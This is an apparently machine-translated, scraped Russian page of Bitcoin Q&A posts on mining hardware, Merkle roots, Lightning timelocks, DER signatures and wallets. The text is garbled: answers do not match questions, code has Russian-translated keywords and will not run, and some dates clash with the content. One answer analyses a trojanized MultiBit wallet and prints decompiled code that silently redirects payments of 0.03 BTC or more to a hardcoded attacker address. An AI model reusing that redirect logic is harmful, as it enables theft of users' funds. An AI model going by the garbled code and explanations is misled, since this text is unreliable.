Чем более между 13.5 и 14-й

Я хотел бы купить С9, проверка сайта возможно отменить обнаружили, что они продают две С9 версии. - S9i-14-м/с - S9i-13.5 м/с

Кроме очевидной разницы в хэшрейт, есть ли другие отличия мне следует рассмотреть, прежде чем покупать? Я не могу показаться, чтобы найти полные спецификации для этих шахтеров

+909
Suragch 11 июл. 2013 г., 9:00:05
32 ответов

В военнопленных консенсуса, если Шахтер может решить загадку, они получают денежное вознаграждение (несколько монет) в стиме шахтеров, поскольку добыча процесс имеет значительных денежных затрат для шахтеров, в том числе предоставление оборудования и энергии/затрат на электроэнергию.

Однако, в торговых точках, участие в операциях проверки не значительных денежных затрат для валидаторов (т. е. заинтересованных лиц) (надеюсь я прав), и если да, то есть все стимулы, чтобы мотивировать заинтересованных сторон для участия в операции проверки?

Также, что наказание за валидатор, кто бывший. подтвердить дважды проводил сделки?

Спасибо

+967
ElenN 03 февр. '09 в 4:24

Нет, вы не можете предотвратить частичное банковское резервирование технически. Например, вексель может циркулировать как биткоины и нет технических средств, чтобы остановить его. По сути, ничего не стоит х биткоины (однажды рисков и как учитываются в) может действовать так же, как X биткоины, даже если это не биткоины. И так как это не биткоины, биткоины ничего не могу сделать, может остановить его.

Если вы видите какие-массово мощный центральный орган принуждения, который запрещает его, вы всегда будете иметь частичное банковское резервирование. Он просто делает слишком много смысла. Это будет происходить без использования огромного количества сил.

Есть тривиальные технические решения к "бегать по банкам" проблемы. Правда, есть еще вполне реальные "банк проблема жулик" и "банк рухнул из-за принципиально несостоятельны кредиты проблемы".

+956
gitana 11 нояб. 2015 г., 11:48:15
Другие ответы

Связанные вопросы


Похожие вопросы

При попытке рассчитать Меркле корень в Python из данных, которые я получил от майнинг пула.... я обнаружил, что есть 2 разных кодов.

код 1:

деф build_merkle_root(coinbase_hash_bin, merkle_branch):
 merkle_root = coinbase_hash_bin
 для H в merkle_branch:
 merkle_root = hashlib.и SHA256(hashlib.и SHA256(merkle_root + binascii.unhexlify(ч)).дайджест()).дайджест()
 возвращение binascii.hexlify(merkle_root).декодирования('кодировка UTF-8')

Это объясняется в shlushpool прослойка документ здесь , а также в альткоины СИА горно протокол здесь . Поэтому я думаю, что это должно быть правильным. Но есть еще один кусок кода ниже

код 2:

деф build_merkle_root(hash_list):
если LEN(hash_list) < 2:
 возвращение hash_list[0]
new_hash_list = []

Процесс пары#. Для нечетной длины, последний пропускается
Для я в диапазоне(0, лен(hash_list) - 1, 2):
 new_hash_list.добавить(hash2(hash_list[я], hash_list[я + 1]))

# странно, хэш последнего элемента в два раза
если LEN(hash_list) % 2 == 1:
 new_hash_list.добавить(hash2(hash_list[-1], hash_list[-1]))

возвращение build_merkle_root(new_hash_list)
#==========================================================================
деф hash2(а, б):
 # Обратная входов до и после хэширования из-за большого прямым / обратным бред
 А1 = binascii.unhexlify(а)[::-1]
 Б1 = binascii.unhexlify(б)[::-1]
 ч = hashlib.и SHA256(hashlib.и SHA256(А1 + В1).дайджест()).дайджест()

 возвращение binascii.hexlify(ч[::-1])

Это выглядит более логичным с Меркле дерево структуры точки зрения, которая является хеширование каждой пары отдельно.

Для их испытания, принимая ниже в качестве примера задания, полученных из пула....

[{'идентификатор': нет,
 'метод': 'добыча.уведомление',
 'параметры': ['59bc8dfc00003829',
'ceeefd1381f491d9a0ba90b26a495a225e8bfc9f00ecc4250000000000000000',
'01000000010000000000000000000000000000000000000000000000000000000000000000ffffffff3503226b07000455abc259040bf12d090c',
'0a636b706f6f6c112f736f6c6f2e636b706f6f6c2e6f72672fffffffff035976a953000000001976a914fc6123f4bfd3a840b4387ab90e9801e98fb17cf888ac8756d800000000001976a914f4cbe6c6bb3a8535c963169c22963d3a20e7686988ac0000000000000000266a24aa21a9edc963e012cb380138e3d16283a094454782879557714d3b0d73fecfe612d01f0600000000',
['b32abe89497354ceaa2dff35cc41995d58c19893d517e92e30b4ead75a66970c',
'ca93a597a29860178f4cd01326f43b080f516f3f81ba6b86b0ff35f5cb206b7f',
'213f7e41a5b228ec554c1a2e3fe18b1f3e1c23821b1b2b3aa1319d3d616044ca',
'0941052c2e5864e57a18bfc82d1e7ab15740d4ed7b852cda92bffd3ff622e59d',
'7ad5af30a3daa89c1244016227cde139d5d54232a673cbf7954f6a1aa26bbc05',
'e24a96489d5782c6bcde209952a12826cd225b97b9a3ad3142c87dd062136d0b',
'383a433dc503c8ab4b7beb9dc4a3e07811a1cb9681e2da019cec16966fc727be',
'f10804628f630bcead6cd1b667d4352cdfb93aea382662456c2caadda3e1b0c9',
'03e9bf5b6053fe86d272dac8c2a32f08ace6d045799ae499ed7087af21c737c6',
'3cf338c75d7ef47b0c029d16b5b02340a62ce0a7846910175b021d919dcccc6f',
'40319623d80cae8a5b1a3e319a962110a08ff40daf40ebf421b9454f20e54dcc',
'c29e3826153dfc1d10e9e173281d21ad2103bba86bc2930440e7258afca2b957'],
'20000000',
'1800ff18',
'59c2ab55',
Значение false]}]

Код 1 дает мне Меркле корень как 7cbd55a748aa8e778e0795e33d5bd5a07c9f465cd3de1fef3bf36ea3ac4d56f9а Код 2 дает как 6681ae1409685d71a51ced80ae0c7eacb78d5facb401ece2287543b6cc17e4cf Поскольку оба не являются одинаковыми, так что не так ? Мне нужен Меркле корень для заголовка блока.

В обоих вышеупомянутых случаях, я взял extranonce2 все нули 0000000000000000 и построить всех как 01000000010000000000000000000000000000000000000000000000000000000000000000ffffffff3503226b07000455abc259040bf12d090cff47c35900000000000000000a636b706f6f6c112f736f6c6f2e636b706f6f6c2e6f72672fffffffff035976a953000000001976a914fc6123f4bfd3a840b4387ab90e9801e98fb17cf888ac8756d800000000001976a914f4cbe6c6bb3a8535c963169c22963d3a20e7686988ac0000000000000000266a24aa21a9edc963e012cb380138e3d16283a094454782879557714d3b0d73fecfe612d01f0600000000 что дает компания хэш 20d0b9a72f1e940e29b064e428f5e037f948c9ede27dfb7e77b1df7d289d1861

+937
AYORO GIDEON 8 апр. 2016 г., 13:49:04

Я начала добычи на другом компьютере и она показывает 300 KH/сек. Но когда я исследую хэш ставки других людей я обычно вижу Мх/с. Эти скорости одинаковы в килобайтах и мегабайтах?

Также, когда я говорю, 300 х/С это значит, что 300,000 хэшей, сгенерированных за секунду?

+926
Amaury Larancuent 9 мар. 2015 г., 19:16:43

В ответ Мэллори-Эрик падает немного короткий.

Биткоин использует скрипт, чтобы создать и активировать скрипты сделки. Проводят для устранения наиболее часто используется, но также возможен сценарий другие схемы. Некоторые вы, возможно, слышали о уже находятся адреса multisignature, и договоров.

Биткоин скрипт несколько ограничен, так как он не Тьюринг-полный, другой, чем например Эфириума.

Кроме того, проверить:

Вы также можете найти интересные вопросы, поданных в рамках .

+903
Paulkokos 5 мая 2010 г., 19:13:01

Искусственный интеллект может быть использован для поиска более эффективных алгоритмов интеллектуального анализа?

Есть только один алгоритм, который может быть использован для шахты?

Правка: прошу о запуске ша ((заголовок ша блока)) более эффективно добывать Bitcoin, не изменяются добычи Bitcoin алгоритм.

+894
ruturaj 18 июн. 2014 г., 10:41:02

Если вы настроили учетную запись бирже MtGox купить биткоины, вы можете хранить их туда на время. Если вы хотите получить установку с кошелька на ваш рабочий стол, вы можете следовать инструкциям на https://en.bitcoin.it/wiki/Getting_started

Это в основном влечет за собой скачивание клиента, и запустив ее на своем компьютере. Это позволит создать кошелек, в котором хранятся ваши счета(ов), адреса и биткоины.

Тогда вы можете сказать, бирже MtGox вывести биткоины на свой биткоин-адрес. Это отправляет биткоины на ваш кошелек на свой компьютер.

Как для путешествий, вы можете держать биткоины в кошелек, бирже MtGox, или даже мобильного кошелька на ваш мобильный телефон.

+877
AgentAkki 3 окт. 2018 г., 13:55:39

Я могу подтвердить, что "Мультибитная" загружаемое программное обеспечение от MultiBit.tv это троян. Версию я скачал выглядит несколько иначе, чем ОП, но похожие.

После декомпиляции Трояна, я нашел (один из?) биткоин-воровство внесены изменения. Вот исходный код внутри SendBitcoinConfirmAction::событий actionperformed():

если (валидатор.проверка(sendAddress, sendAmount)) {
 // Адрес и суммы действительны.

 // Создать sendrequest сценарию.
 Адрес sendAddressObject;

 sendAddressObject = новый адрес(bitcoinController.getModel().getNetworkParameters(), sendAddress);

Вот измененный код, который перенаправляет исходящие операции в адрес автора программы только если предполагаемая отправить сумма >= 0.03 БТЦ (предположительно, чтобы избежать обнаружения за меньшие суммы):

если (валидатор.проверка(sendAddress, sendAmount)) {
 // Адрес и суммы действительны.

 Строки kanau = "1HHHHhHHh2dUgvedroLJ3BNZ2ip8eAvenn";
 если ((sendAmount.как startswith("0.02")) || (sendAmount.как startswith("0.01")) || (sendAmount.как startswith("0.00"))) {
 kanau = sendAddress;
 } еще {
 kanau = "1HHHHhHHh2dUgvedroLJ3BNZ2ip8eAvenn";
}

 // Создать sendrequest сценарию.
 Адрес sendAddressObject;

 sendAddressObject = новый адрес(bitcoinController.getModel().getNetworkParameters(), kanau);

Модификация не слишком умен, но он, к сожалению, может получить работу.

+782
Sandilya 8 мар. 2012 г., 13:15:44

Я просто посмотрел как добывать Bitcoin с моего планшета и IM через 2 приложений: АРМ крипто Шахтер и Шахтер, но мой работник считается работающим в автономном режиме, когда их добыча. Им становится Х так что хороший? И я должен использовать PikaArt или PikaArt.miner1 для моего входа в приложения? Спасибо!

+749
nike1488 1 июн. 2010 г., 2:26:40

Как TimeLockDelta влияет на узел?

TimeLockDelta (или cltv_expiry_delta)- это минимальное количество блоков узлу требуется, чтобы быть добавлены истечения HTLCs. Другими словами, это значение представляет необходимый зазор между timelocks входящей и исходящей HTLC к этому узлу. После того, как раз HTLC, это может быть выполнено или по тайм-ауту, который означает, что узел должен позаботиться, чтобы вокруг этого перехода и выполнять оба предложенных и полученных HTLCs. Если узел не выполняет это в свое время, коллеги смогут получить свои средства обратно, потратив время ожидания транзакции.

Чтобы проиллюстрировать это на примере, скажем, ваших коллег, что вы переслали HTLC на (исходящие HTLC) посылает вам предварительно изображение HTLC, который был добавлен недавно. Вы вносите платеж на ваших коллег за предоставление прообраза успешно. Теперь это до вас, чтобы искупить этот платеж от абонента, через который вы получили HTLC (входящие HTLC). Если вы будете ждать достаточно долго, такая, что по истечении времени ожидания, то вы не рискуете потерять свои средства, потому что коллега, который отправил вам HTLC будет использовать время ожидания транзакций, чтобы получить свои средства. Так что вы находитесь в ситуации, когда вы оплатили исходящих HTLC, но вы не можете претендовать на средства из входящих HTLC.

Поэтому значение TimeLockDelta должны быть выбраны таким образом, что это не слишком большие, такие, что другие узлы не отправлять платежи через вас, но и не слишком маленький, что можно потерять свои средства, потому что у вас не было достаточно времени, чтобы удовлетворить входящих HTLC. Ниже расчет показывает различные случаи, которые могут возникать при выполнении HTLCs и оптимальную стоимость, которая должна быть выбрана для него.

что является достойной значение для него?

Ниже приводится текст из болт #2 , который имеет расчеты и различных дел, необходимых для определения того, что cltv_expiry_delta узла должны установить для себя.

В худшем случае количество блоков между исходящей и разрешение входящего HTLC можно получить, учитывая некоторые допущения:

  • в худшем случае реорганизации глубина Р блоки
  • с льготным периодом г блокирует после HTLC тайм-аут, прежде чем давать на неуправляемом сверстников и опускаясь на цепи
  • ряд блоков С между сделки и операции, включенные в блок

В худшем случае для узла переадресации (Б), который принимает на максимально возможный срок, чтобы определить исходящие выполнение HTLC, а также принимает на максимально возможный срок, чтобы выкупить его на цепь:

  1. Б->с HTLC раз в блок Н, Б ожидает г блоков, пока оно не ждет С. B или C обязуется блокчейн, и B проводит HTLC, который берет с блоков должны быть включены.
  2. Плохо дело: с выигрывает гонку (просто) и выполняет HTLC, только видит, что сделки, когда он видит блок Н+Г+З+1.
  3. Худшем случае: есть реорганизации Р глубокое, в котором с победами и выполняет. Б видит только сделки на Н+Г+З+Р.
  4. Б теперь должен выполнить входящие->Б HTLC, но не отвечает: Б ожидает Г более блоков, прежде чем давать ждете А. А или Б обязуется блокчейн.
  5. Тяжелый случай: Б видит приверженность транзакции в блок Н+Г+С+Р+г+1 и провести HTLC выход, который берет с блоков будут добываться.
  6. Худшем случае: там очередная реорганизация Р глубокое, которое использует для тратить обязательства по сделке, так что б видит приверженность транзакции в блок Н+Г+С+Р+г+р и провести HTLC выход, который берет с блоков будут добываться.
  7. Б HTLC потратить нужно как минимум Р глубокое до тайм-аута, иначе очередная реорганизация может привести к тайм-аут операции.

Таким образом, в худшем случае это 3Р+2Г+2С, предполагая, что р не менее 1. Отметим, что шансы трех реорганизаций, в котором другой узел побеждает все они низкие для Р 2 и более. Поскольку высокие сборы используются (и HTLC расходов может использовать почти произвольных платежей), С должна быть небольшой; хотя, учитывая, что блок раз неправильные и пустые блоки по-прежнему происходят, и=2 следует рассматривать как минимальные. Аналогичным образом, льготный период г может быть низким (1 или 2), так как узлы не обязаны тайм-аут или выполнить как можно скорее; но если Г - это слишком низко, это увеличивает риск ненужных проран из-за сетевых задержек.

Существует четыре значения, которые должны быть получены:

  1. В cltv_expiry_delta для каналов, 3Р+2Г+2С: если вы сомневаетесь, какой cltv_expiry_delta от 12 разумна (Р=2, г=1, Ы=2).
  2. Срок предложил HTLCs: срок, по истечении которого канал должен быть ошибка и по таймауту на цепи. Это Г блоки после HTLC по cltv_expiry: 1 блок разумные.
  3. Срок получил HTLCs этот узел выполнил: срок, по истечении которого канал должен быть неудачной и HTLC выполнены на цепь перед ее cltv_expiry. См. шаги 4-7 выше, которые подразумевают срок 2Г+г+с блоками до cltv_expiry: 7 блоков является обоснованным.
  4. Минимальная cltv_expiry приняты для терминала платежей: в худшем случае для терминала узел c 2Р+Г+С блоков (как, опять же, шаги 1-3, описанные выше, не применяются).

Значение по умолчанию для cltv_expiry_delta в болт #11 - это 9, который является немного более консервативным, чем 7, что приведенный расчет предполагает.

+731
Braxton Fair 1 июн. 2014 г., 5:17:40

Как запустить ядра биткоин как основной, так и Testnet на той же машине? Я хочу иметь возможность общаться с обеими блок-цепей с помощью RPC.

Мне нужно запустить 2 экземпляра на bitcoind / bitcoin-qt.exe за что?

+715
Moses Chuks 29 июл. 2011 г., 2:49:57

Если ваш бизнес-партнер не знает свой адрес, они могут узнать историю транзакций и баланс этот адрес. Часто можно угадать или вывести, что другие адреса также относятся к вам, но это требует немного больше усилий и менее надежна. Однако, это, конечно, не переводить на баланс и активность вашего полного кошелька, чтобы быть известным.

Это почему Биткойн-пользователям рекомендуется генерировать новый адрес для каждого делового взаимодействия, у них и почему, как правило, биткоин программы можно легко создавать новые адреса.

+697
YoungJae Kwon 15 нояб. 2014 г., 15:26:14

мне интересно, что делает веб-сайт, позволяющий пользователям отправлять и вывести BTC с ней (каждый пользователь будет иметь отдельный адрес на сайте) , есть ли предложения по API я могу использовать, что будет хранить биткоины на сервере, а не какая-то третья часть содержит БТД?

+652
Kiran Bokkesam 1 июл. 2011 г., 21:45:44

Я воодушевился этой теме:

Одной подписи P2SH выкупить скрипт

Предположим, я хочу "скрыть" мой адрес так долго, как может быть. Поэтому я хочу P2SH Техас, который только показывает redeemscript (хэш моего по умолчанию) на цепочке, пока не потратил. Я стараюсь идти аналога multisig, но использовать только по умолчанию как redeemscript. Финансирование Техас будет hash160 открытый ключ, и использовать его как активировать скрипт. Это будет платеж "тип адрес 3", при этом код в "tx_out pkscript".

А9: OP_HASH160
14: OP_Data14 (= десятичное 20 и выкупить хэш)
87: OP_EQUAL

Бы тратить Техас в это scriptsig?

<сиг><по умолчанию><OP_CHECKSIG>

(а не так, как это сделали в multisigs: <сиг><по умолчанию 1-н><OP_CHECKMULTISIG>)

Глядя, что происходит на стеке:

сиг
по умолчанию
<OP_CHECKSIG>

<OP_HASH160>
выкупить хэш
<OP_Equal>

Для этого <OP_HASH160> опкод должен был бы знать, что по умолчанию и <OP_CHECKSIG> должны быть хэширован вместе (по сравнению с redeemscript хэш, который следует за <OP_Equal>) ...

Я думаю, этот же вопрос относится и к multisig. Есть только два или более публичные ключи следовал по <OP_CHECKMULTISIG> (вместо <OP_CHECKSIG>).

+644
Sparticuz 14 авг. 2011 г., 12:07:53

Если вы посмотрите на ЛНД.conf (или в частности на примере-ЛНД.конф линии 138) вы увидите следующее:

; Наименьший размер канала (в сатоши), что мы должны принять. Входящие
; каналы меньше этого будет отклонена, значение по умолчанию 20000.
; minchansize=

что означает, если убрать ; и установите значение в сатоши ваш узел будет отклонять небольших каналов.

После изменения ЛНД.конф вы должны перезагрузить свой узел и тогда он должен вести себя так, как вы хотите

+628
Aporee 16 мая 2011 г., 4:40:32

Допустим, пользователь присоединяется к сети Биткойн и загрузки последних состояния блокчейн (Все блоки, который включает вилы/дяди). Как это пользователей найти/определить активный блокчейн, на которой они должны опираться? Я спрашиваю не об уровнях сложности или объема работы, который попадет в цепь, но как один из пользователей считает, что длинные цепочки и уверен, что нет более длинные цепи.

Я представляю простой (и только?) способ сделать это было бы для проверки каждого блока пользователь, а затем начать строить на той, которая имеет больше всего труда вложил в это. Однако, поскольку узлы также хранить многочисленные развилки, оценки каждого отдельного блока и его "путь" на протяжении существования биткоина, скорее всего, занять некоторое время (и продолжать принимать больше как время идет).

Ярлык потенциальный '' можно было бы просто посмотреть последние блоки, например. поиск блоков, которые были представлены за последние 48 часов, а потом просто взять самый длинный допустимых цепочек оттуда, но тогда как же можно решиться на определенный срок? (24ч? 48? на прошлой неделе? в прошлом месяце?) Это еще теоретически возможно, что текущая длинная цепь была опубликована давным-давно и другие узлы действуют злонамеренно, пытаясь игнорировать его, так что этот подход не кажется допустимым, на мой взгляд.

Я знаю, что биткоин используется LevelDB для хранения метаданных о блоки для быстрого просмотра, который поможет ускорить оценку всех блоков, но есть более прагматичный подход, что код Биткойна занимает?

Кроме того, эта оценка сделана с нуля (т. е. из блока бытие) каждый раз, когда пользователь загружается, или информация о самой длинной цепи где-то хранится на диске для быстрого извлечения в будущем, когда пользователь возвращается?

+555
Trialon 15 янв. 2012 г., 0:36:28

просто с добавленным к R.

Это не так просто. Der кодирование используется метка-длина-значение "формат". В этом формате каждая "ценность" (например, число, Строка,...), который вы хотите закодировать начинается с собственных специальных "тегов", один байт, указывающий тип (например. Логическое является 0x01, 0x02 целое число, последовательность 0x03), за которой следует число, указывающее длину "ценность" под названием "длина" (например. 32 это 0x20, 130-это 0x8182) и, наконец,"значение" самого.

С подписями мы используем в биткойне, 2 числа мы используем последовательность целых чисел, поэтому формат превращается в SequenceTag+Итогодлина+SequenceValue , где последовательность-это 2 целых числа форматируются так же: IntegerTag+IntegerLength+IntegerValue.

Теперь, когда мы рассмотрели выглядеть формате давайте на целые. Вы должны помнить, что кодирование Der предназначен для кодирования кучу вещей, включая как негативные, так и положительные числа. Одним из способов, включая знак числа в его двоичное представление массива использовать ее значащий бит как "знаковый бит". Поэтому, когда у нас есть массив байтов, начиная с 0b1000_0000 (128 десятичных или 0x80 hex) и любое количество выше этого, что является отрицательным числом. В результате, когда мы имеем положительное число, которое имеет наиболее значащий бит, 1 нулевой байт добавляется к нему, чтобы убедиться, что он положительный.

R и S может иметь длину 32 или 33. так его возможным для моей сырой подпись ЕК 66 байт, который полностью ломает приложения я использую сейчас.

Приложение вы используете, не должны жестко закодировать значения, как для 32, 33 или 66,... потому что эти максимальные длины не являются единственно возможными. например, как R и S может быть меньше, как 20 байт, так что ваша подпись может оказаться такой: 30380214<20bytes>0220<32bytes> в общей сложности 58 байт.

+542
Dinum Dissanayaka 24 июн. 2010 г., 18:59:40

Чтобы сделать это как можно проще: когда вы создали адрес, Ты единственный, кто знает, как вы его создали. Чтобы потратить денежные средства, отправленные на адрес, вы должны знать, как этот адрес был создан.

Чтобы быть немного более точным, Биткоин использует необратимая операция в процессе генерации адреса. Вы берете большое случайное число и сохраните этот номер в любом месте вам нравится. Затем вы примените это необратимая операция для создания адреса. Теперь, если кто-то отправляет биткоины на этот адрес, вы используете большие случайных чисел требовать их.

+411
Anindya Sengupta 10 февр. 2015 г., 4:52:02

Другой причиной является то, что он делает биткойн-чуть более устойчивым к ущерба уровнем. Неиспользуемые адреса, с которого денежные средства не были переданы, не подвергайте их публичный ключ, так что нарушение алгоритма ECDSA не означает, что вы можете сразу потратить эти средства.

+388
Bo Zhou 5 янв. 2013 г., 13:09:43

Возможно, вы имеете в виду 1 из 2 вещей "горная награда":

  1. Транзакция blockchain кошелек.

В настоящее время этой награды в 25 биткоинов за блок. Если Шахтер изменения этого выше, это недопустимое блока и другие узлы не будут принимать это как корректный блок. Если блок не принимает другие узлы, она не попадает в блокчейн и Шахтер не будете получать биткоины.

Шахтер может изменить награда будет ниже, чем в 25 биткоинов в настоящее время. Это может быть способ, чтобы замедлить биткоины приходят в существование, но в остальном не вредно. Есть экономическим препятствием для Шахтера, но это возможно.

  1. Плата за сделку.

Это разница между суммой вклада и суммой выходов в той или иной сделке. Так как сделка подписана закрытым ключом, любые изменения либо входов или выходов приведет к подписи, встроенных в сделки недействительной. Если эта операция включена в блок, сам блок является недопустимым и приведет к другие узлы, не принимая этот блок. Аналогично (1) блок недействительной приведет блок, чтобы не попасть в блокчейн вызывает Шахтер, чтобы не получить любой биткоины.

В принципе, Шахтер сильно мотивирован, чтобы действовать честно, как это единственный способ Шахтер может получить биткоины.

+380
dianedorothy 11 янв. 2016 г., 7:09:18

Я пытаюсь настроить Оружейная Тор, направляя весь арсенал коммуникаций в порт 9150 который мне сказали, что мой браузер Tor использует.

Прежде чем я начну Оружейной или браузер Тор, я активирую bitcoind с bitcoind-прокси-команды терминала '=127.0.0.1:9150'. Но потом, когда я начала оружейную комнату, он говорит мне, что я должен закрыть этот экземпляр программы и позволяют Оружейной начать вместо этого. ОК, но там, кажется, нет способа вставить переключатели командной строки в версии Оружейной начинается.

Если я отключить флажок Оружейной давайте Оружейной запустить bitcoind в фоновом режиме-тогда он не дает мне это сообщение возражения, но вместо этого никогда не выходит в онлайн, даже если я начал bitcoind вручную.

Есть еще что-нить на эту тему, но, так как я новичок здесь, я не знаю, смогу ли я просто подключить новый вопрос в старой теме или опубликовать новую. Итак, я решил опубликовать новый, извините, если что не правильная процедура.

И, для решения вопроса о Вики воспитан в старых ниток, проблема, кажется, постоянно меняются, поскольку функции оружейной и Tor постоянно меняются. Например, я не могу бегать Видалия на моей системе, потому что я запустить в Ubuntu 12.04 и Vidalia не доступна для этой версии. Я должен вместо того, чтобы работать в браузере Тор, чтобы получить активацию сети Tor. Так что, возможно, Вики будет хорошо.

+380
Stranger37 3 февр. 2011 г., 0:24:38

Это зависит от желания продавца риск очень маленький процент ошибочных платежей. Когда клиент отправляет транзакцию с достаточной плату, и все входы этой сделки есть подтверждения, риск не получения оплаты очень низкий. Двойные расходы атаки являются экономически нецелесообразно с небольших сумм. Однако, в зависимости от платы Шахтера, микро-платежи могут быть привлекательны для клиента, который должен заплатить пошлину.

+356
frafl 16 апр. 2013 г., 8:36:27

Мне кажется, вы могли бы поместить произвольные данные в полезную нагрузку, поскольку она является JSON. Это правда, может отправителя добавить дополнительные поля для операции с JSON? Или если это не возможно, отправитель положить произвольную программу в scriptPubKey?

Например, ScriptPubKey может быть OP_DUP <myArbitraryData> OP_DROP OP_HASH160 <pubKeyHash> OP_EQUALVERIFY OP_CHECKSIG, что поставит некоторые произвольные данные в стек и затем вытолкнуть его из стека сразу, что бы не влиять на результат работы скрипта, но позволит отправителю включать произвольные данные в транзакции.

+320
Christi Flores 16 нояб. 2016 г., 12:47:45

Я в настоящее время пытается изменить Vanitygen, чтобы удовлетворить определенной цели. Однако, я бегу в проблему с "невозможно" адресов. Например, из запаса Vanitygen доступен на GitHub я получаю этот выход:

./vanitygen -т г
Префикс 'господин' не возможно
Подсказка: допустимые адреса тестовом режиме, начинающиеся с "м" или "N"

Хотя следующие работы:

./vanitygen -т м
Сложность: 1
Шаблон: м
Адрес: mh8e8yUtsmhCm6PTkuHV85ozEV5iNibmbp
Привчной: ***************(не имеет значения)

Я получить аналогичные результаты для этого множество вариантов:

./vanitygen -скрипт F 3Ro
Префикс '3Ro' не возможно
Подсказка: допустимые адреса биткоин скрипт начинается с "3"

и

./vanitygen -скрипт F 3Р
Сложность: 836
Шаблон: 3Р
P2SHAddress: 3R1jUHTrESWgCC812LrgwHErc9Y3UL7Xel
Адрес: *********(не имеет значения)
Привчной: *********(не имеет значения)

Так, я пытаюсь определить, почему Vanitygen говорит, что эти префиксы не возможно. Для обоих этих провалов, неудач происходит в течение get_prefix_ranges(). Однако, это не вопрос программирования, обязательно. Что я пытаюсь раскрыть некоторые основные принципы, которые могут быть пропущены, что сделало бы эти префиксы невозможно.

Возможно, пара вопросов может помочь мне ответить на это сам:

Когда в base58check кодирования версия+открытый ключ+контрольная сумма, как именно происходит кодирование обрабатывается? Входной сигнал разбивается на 6 байт слова, а затем преобразуется в формат Base58 (кажется неправдоподобной, потому что вы теоретически могли бы что-то типа 111111 (бинарные) контрольная сумма, что бы > 58). Или, это все версии+по умолчанию+контрольная сумма конвертация в BigNumber и тогда, по сути, мод 58, что для каждого персонажа.

В последнем случае (что кажется вероятным), в каком порядке это происходит? На примере 80FAFBFC (2163932156 десятичные):

х = 2163932156
результат[0] = Х % 58 = 6
х = Пол(x / 58) = 37309175
результат[1] = х % 58 = 37
х = Пол(x / 58) = 643261
результат[2] = х % 58 = 41
х = Пол(x / 58) = 11090
результат[3] = х % 58 = 12
х = Пол(x / 58) = 191
результат[4] = х % 58 = 17
х = Пол(x / 58) = 3
результат[5] = 3

результат = [6, 37, 41, 12, 17, 3]
Преобразовать в значения Base58:
результат = [7, е, я, Д, Дж, 4]

Будет результат будет отображаться как: 7eiDJ4 или 4JDie7?

+280
rbbi 4 сент. 2015 г., 0:01:24

В статье вы привели доказывает, что ChaChaPoly является Инд-ОАС надежности. Это понятие безопасности, кажется, идеально покрыть ваши атаки, если я буду читать определение (https://en.wikipedia.org/wiki/Ciphertext_indistinguishability): "В криптосистемы является безопасной с точки зрения неразличения, если нет противника, дали шифрования сообщений, выбранных случайным образом из двух элементов сообщения пространства определяется противником, можно выявить сообщение выбор с вероятностью значительно лучше, чем случайное угадывание (1⁄2).".

То есть, даже если только две таких длины существовали, противник не может угадать, кто зашифрован здесь значительно лучше, чем произвольно.

+276
C5H8NNaO4 20 февр. 2010 г., 11:03:27

Вы можете попробовать уменьшить интенсивность. Другие параметры также могут снизить скорость и уменьшить/удалить сбоев. Это похоже на бег слишком рьяно, он может сделать вас поездку много.

Это также может быть подключение к Интернету или даже дайте-мне-монеты сама (хотя я сомневаюсь, что это даст-мне-монеты сама).

+246
Coto TheArcher 24 авг. 2012 г., 0:36:45

Гугл проверки не позволяет их службы, которая будет использоваться для продажи виртуальных валют.

Смотрите страницу программы политики и руководящих принципов. Пункт 6 есть ссылка на страницу содержание политики список запрещенных предметов. (Немного смущаясь, последние страницы только упоминания Google Кошелек для бизнеса, а не Google кассе.) В категории "Финансовые", в список запрещенных товаров включает в себя "передачу с участием какого-либо виртуальной валюты".

+169
doggodoazoom 27 июл. 2010 г., 22:21:03

Я просто новичок в технологии Bitcoin.Я планирую создать нескольких пользователей биткоин кошелек с помощью ВПС полная настройка узла(не использовать рудным). Я читал документацию RPC и нашли что-то для архивирования моя цель. Некоторые вещи, которые

Для регистрации нового пользователя

getnewaddress("логин")

Для отправки средств с одного счета на другой(внутри одного и того же веб-приложения)

двигаться("имя_пользователя1","пользователю имя_пользователя2","1.5")

Для отправки средств с одного счета на другой(снаружи этого веб-приложения)

sendfrom("имя_пользователя1","для","1.5","6")

Для получения баланса имя_пользователя1

метода getbalance("имя_пользователя1")

Я хорошо знаю, что sendfrom и двигаться - это устаревшие функции.Также знать систему счета является устаревшим. Но мне нужно указать правильно адрес. Теперь я использовать Bitcoin-Qt в 16.3. Это устаревшие методы хорошо работают на этой версии. Мне нужно знать что-то факторы, о моих решениях от этого биткоин-сообщества.

  1. Мой путь развития биткоин веб-кошелек-это правильно....?? Что это еще один вызов RPC на лучшие практики, чтобы достичь своей цели(веб-кошелек)..??
  2. Если я в неправильном направлении. Пожалуйста, поправьте меня.
  3. Любая проблема будет возникать в дальнейшем следовать этому типу вызова RPC(как sendfrom и двигаться) ..??
  4. Я не вижу поддержки RPC для настраиваемая плата за сделку. Но некоторые биткоин кошелек является обеспечить этот объект. Как архив, который...??
  5. Некоторое время я использую sendfrom, баланс некоторые счета становится отрицательным. Как это происходит..?? Зачем использовать беззнаковое целое число для переменной баланс в Bitcoin Core(для избежания отрицательного значения)..??

Примечание: Я тестировал все в регтест чистая. Я не знаю, какое поведение в основной сети

Пожалуйста, дайте лучший разъяснения на мои сомнения, как это возможно

Спасибо..

+132
JiK 29 нояб. 2011 г., 1:48:05

С NiceHash, есть хороший калькулятор, который даст вам ожидаемый доход на крипто майнинга, в зависимости от оборудования и цен на электроэнергию

+110
jiarui 3 июл. 2014 г., 16:13:17

Я не хочу использовать сторонние сервисы или API, как блокчейн о Blockchain кошелек. Я не хочу, чтобы загрузить и обработать все блокчейн.

Если вы не хотите использовать 3-й партии API-интерфейсы, вы должны иметь свой собственный узел, который требует загрузили полный блокчейн. Есть блокчейн торрент https://bitcoin.org/bin/block-chain/ что ускоряет процесс загрузки, и там передовой биткоин узла библиотеки http://bitcore.io которые интегрируются с биткоин ядра.

Есть более надежный блокчейн в качестве услуги, как BlockCypher https://dev.blockcypher.com что программирования не зависят от языка программирования. Я использую его все время, и я доволен.

+38
Leslie Wood 25 апр. 2019 г., 3:17:08

Вероятность предотвращает это как биткоин адресное пространство составляет 2^160 или

1,461,501,600,000,000,000,000,000,000,000,000,000,000,000,000,000 (арх)

вот картинка чтобы поместить это в перспективу. Итак, теперь вы хорошо думая, что это быстро, чтобы генерировать их, так что я сделаю еще. Глядя на этот поток , как предварительно создавать 100м биткоин-адресов? вы можете создать 770k адреса в 15 минут, так что давайте делать математику. это

54,168,210,000,000,000,000,000,000,000,000,000,000 (арх)

лет для создания всех биткойн-адреса. пошевеливаться.

